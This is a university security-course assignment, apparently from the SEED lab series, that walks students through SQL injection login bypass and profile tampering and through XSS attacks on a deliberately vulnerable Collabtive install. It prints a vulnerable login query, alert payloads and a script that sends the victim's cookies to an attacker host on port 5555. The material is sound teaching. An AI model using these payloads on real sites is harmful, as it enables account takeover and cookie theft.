FIT 3173 Software Security Assignment Two (S1 2018)

Total Marks 100
Due on May 23rd, 2018, Wednesday, 23:59:59

1 Overview

The learning objective of this assignment is for you to gain a first-hand experience on SQL injection attacks and cross-site scripting attacks and get a deeper understanding on how to exploit the vulnerability in real-world web applications. All tasks in this assignment can be done on "SeedVM" as used in labs. You are required to configure the environment before running the tasks (see instructions in **Section 3**).

2 Submission

You need to submit a lab report to describe what you have done and what you have observed with **screen shots** whenever necessary; you also need to provide explanation or codes to the observations that are interesting or surprising. In your report, you need to answer all the questions listed in this manual. Typeset your report into .pdf format (make sure it can be opened with Adobe Reader) and name it as the format: **[Your Name]-[Student ID]-FIT3173-Assignment2**, e.g., HarryPotter-12345678-FIT3173-Assignment2.pdf. Then, upload the PDF file to Moodle. Note: the assignment is due on **May 23rd, 2018, Wednesday, 23:59:59 (Firm!). No extension will be given for this assignment. Late submission penalty: 10 points deduction per day**.

Zero tolerance on plagiarism: if you are found cheating, penalties will be applied, i.e., a zero grade for the unit. University polices can be found at `https://www.monash.edu/students/academic/policies/academic-integrity`

3 Setup

In this lab, we modified a web application called `Collabtive`, and disabled several countermeasures implemented by `Collabtive`. As the results, we created a version of `Collabtive` that is vulnerable to the SQL-Injection attack and cross-site scripting attack. Although our modifications are artificial, they capture the common mistakes made by many web developers. Students' goal in this lab is to find ways to exploit the SQL-Injection vulnerabilities, demonstrate the damage that can be achieved by the attacks, and master the techniques that can help defend against such attacks.

3.1 Environment Configuration

In this lab, we need three things, are of which are already installed in the provided VM image: (1) the Firefox web browser, (2) the Apache web server, and (3) the `Collabtive` project management web application. For the browser, we need to use the `LiveHTTPHeaders` extension for Firefox to inspect the HTTP requests and responses. The pre-built `Ubuntu` VM image provided to you has already installed the Firefox web browser with the required extensions.

Starting the Apache Server. The Apache web server is also included in the pre-built `Ubuntu` image. However, the web server is not started by default. You need to first start the web server using the following command:

```
% sudo service apache2 start
```

The Collabtive Web Application. We use an open-source web application called Collabtive in this lab. Collabtive is a web-based project management system. This web application is already set up in the pre-built Ubuntu VM image. We have also created several user accounts on the Collabtive server. To see all the users' account information, first log in as the admin using the following password; other users' account information can be obtained from the post on the front page.

```
username: admin
password: admin
```

3.2 Turn Off the Countermeasure

PHP provides a mechanism to automatically defend against SQL injection attacks. The method is called magic quote, and more details will be introduced in Task 3. Let us turn off this protection first (this protection method is deprecated after PHP version 5.3.0).

1. Go to /etc/php5/apache2/php.ini.
2. Find the line: magic_quotes_gpc = On.
3. Change it to this: magic_quotes_gpc = Off.
4. Restart the Apache server by running "sudo service apache2 restart".

4 SQL Injection Attack [50 Marks]

4.1 Overview

SQL injection is a code injection technique that exploits the vulnerabilities in the interface between web applications and database servers. The vulnerability is present when user's inputs are not correctly checked within the web applications before sending to the back-end database servers.

Many web applications take inputs from users, and then use these inputs to construct SQL queries, so the web applications can pull the information out of the database. Web applications also use SQL queries to store information in the database. These are common practices in the development of web applications. When the SQL queries are not carefully constructed, SQL-injection vulnerabilities can occur. SQL-injection attacks is one of the most frequent attacks on web applications.

4.2 Task 1: SQL Injection Attack on SELECT Statements [10 Marks]

In this task, you need to manage to log into Collabtive at www.sqllabcollabtive.com, without providing a password. You can achieve this using SQL injections. Normally, before users start using Collabtive, they need to login using their user names and passwords. Collabtive displays a login window to users and ask them to input username and password. The login window is displayed in the following:

The authentication is implemented by `include/class.user.php` in the Collabtive root directory (i.e., `/var/www/SQL/Collabtive/`). It uses the user-provided data to find out whether they match with the `username` and `user_password` fields of any record in the database. If there is a match, it means the user has provided a correct username and password combination, and should be allowed to login. Like most web applications, PHP programs interact with their back-end databases using the standard SQL language. In `Collabtive`, the following SQL query is constructed in `class.user.php` to authenticate users:

```
$sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender,
   FROM  USERS_TABLE
   WHERE (name = '$user' OR email = '$user') AND pass = '$pass'");

$chk = mysql_fetch_array($sel1);

if (found one record)
then {allow the user to login}
```

In the above SQL statement, the `USERS_TABLE` is a macro in PHP, and will be replaced by the users table named `user`. The variable `$user` holds the string typed in the `Username` textbox, and `$pass` holds the string typed in the `Password` textbox. User's inputs in these two textboxs are placed directly in the SQL query string.

SQL Injection Attacks on Login: There is a SQL-injection vulnerability in the above query. Can you take advantage of this vulnerability to achieve the following objectives?

Q1: There is a SQL-injection vulnerability in the above query. Can you log into another persons account without knowing the correct password? Explain your solution. Hint: you are not required to change the code. **[Marking scheme: 5 marks for the screenshot and 5 marks for the explanation and solutions]**

4.3 Task 2: SQL Injection on `UPDATE` Statements [40 Marks]

In this task, you need to make an unauthorized modification to the database. Your goal is to modify another user's profile using SQL injections. In `Collabtive`, if users want to update their profiles, they can go to `My account`, click the `Edit` link, and then fill out a form to update the profile information. After the user sends the update request to the server, an `UPDATE` SQL statement will be constructed in `include/class.user.php`. The objective of this statement is to modify the current user's profile information in

the `users` table. There is a SQL injection vulnerability in this SQL statement. Please find the vulnerability, and then use it to do the following:

Q2: Please point out the potential vulnerability, and explain how to achieve a SQL Injection attack by utilizing it. [Marking scheme: 10 marks for the screenshot and 10 marks for the explanation and solutions]

Q3: Change another users profile without knowing his/her password. For example, if you are logged in as Alice, your goal is to use the vulnerability to modify Teds profile information (at least three items), including Teds password. After the attack, you should be able to log into Teds account. Explain your solution, and provide the screen shots to support your ideas. Hint: the passwords stored in database are hashed (SHA1). If you incorrectly modify the user name or password, you can recover by directly accessing the MySQL. **[Marking scheme: 10 marks for the screenshot and 10 marks for the explanation and solutions]**

5 Cross-Site Scripting (XSS) Attack [50 Marks]

Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim's web browser. Using this malicious code, the attackers can steal the victim's credentials, such as cookies. The access control policies (i.e., the same origin policy) employed by the browser to protect those credentials can be bypassed by exploiting the XSS vulnerability. Vulnerabilities of this kind can potentially lead to large-scale attacks.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web-based project management software named `Collabtive` in above tasks. We modified the software to introduce an XSS vulnerability in this project management software; this vulnerability allows users to post any arbitrary message, including JavaScript programs, to the project introduction, message board, tasklist, milestone, timetracker and even the profiles. Students need to exploit this vulnerability by posting some malicious messages to their profiles; users who view these profiles will become victims. The attackers' goal is to post forged messages for the victims.

5.1 Task 1: Posting a Malicious Message to Display an Alert Window [10 Marks]

The objective of this task is to embed a JavaScript program in your `Collabtive` profile, such that when another user views your profile, the JavaScript program will be executed and an alert window will be displayed. The following JavaScript program will display an alert window:

```
<script>alert('XSS');</script>
```

If you embed the above JavaScript code in your profile (e.g. in the company field), then any user who views your profile will see the alert window. Hint: add \ before special characters (e.g., <, >, ′, /) so that these characters can be correctly parsed.

In this case, the JavaScript code is short enough to be typed into the company field. If you want to run a long JavaScript, but you are limited by the number of characters you can type in the form, you can store the JavaScript program in a standalone file, save it with the .js extension, and then refer to it using the `src` attribute in the `<script>` tag. See the following example:

```
<script type="text/javascript"
        src="http://www.example.com/myscripts.js">
</script>
```

In the above example, the page will fetch the JavaScript program from `http://www.example.com`, which can be any web server.

Q1: Try to embed the above JavaScript code in one profile field. Describe your observation, and provide the screen shot to show the alert. Hint: You can modify one users profile (e.g., alice), and view his/her profile by admin. **[Marking scheme: 5 marks for the screenshot and 5 marks for the explanation and solutions]**

5.2 Task 2: Posting a Malicious Message to Display Cookies [20 Marks]

The objective of this task is to embed a JavaScript program in your `Collabtive` profile, such that when another user views your profile, the user's cookies will be displayed in the alert window. This can be done by adding some additional code to the JavaScript program in the previous task:

```
<script>alert(document.cookie);</script>
```

Q2: Try to embed the above JavaScript code in one profile field. Describe your observation, and provide the screen shot to show the alert. [Marking scheme: 10 marks for the screenshot and 10 marks for the explanation and solutions]

5.3 Task 3: Stealing Cookies from the Victim's Machine [20 Marks]

In the previous task, the malicious JavaScript code written by the attacker can print out the user's cookies, but only the user can see the cookies, not the attacker. In this task, the attacker wants the JavaScript code to send the cookies to himself/herself. To achieve this, the malicious JavaScript code needs to send an HTTP request to the attacker, with the cookies appended to the request.

We can do this by having the malicious JavaScript insert an <`img`> tag with its `src` attribute set to the attacker's machine. When the JavaScript inserts the `img` tag, the browser tries to load the image from the URL in the `src` field; this results in an HTTP GET request sent to the attacker's machine. The JavaScript given below sends the cookies to the port 5555 of the attacker's machine, where the attacker has a TCP server listening to the same port. The server can print out whatever it receives. The TCP server program is available from the lab's web site.

```
<script>document.write('<img src=http://attacker_IP_address:5555?c='
                                + escape(document.cookie) + '   >');
</script>
```

Q3: Accomplish the above attack, and use the TCP server program to detect the fetched cookie. Describe your observation, and provide the screen shot to support your ideas. Hint: the IP address in your local host can be set 127.0.0.1. **[Marking scheme: 10 marks for the screenshot and 10 marks for the explanation and solutions]**

Acknowledgement

Parts of this assignment are based on the SEED project (Developing Instructional Laboratories for Computer SEcurity EDucation) at the website http://www.cis.syr.edu/∼wedu/seed/.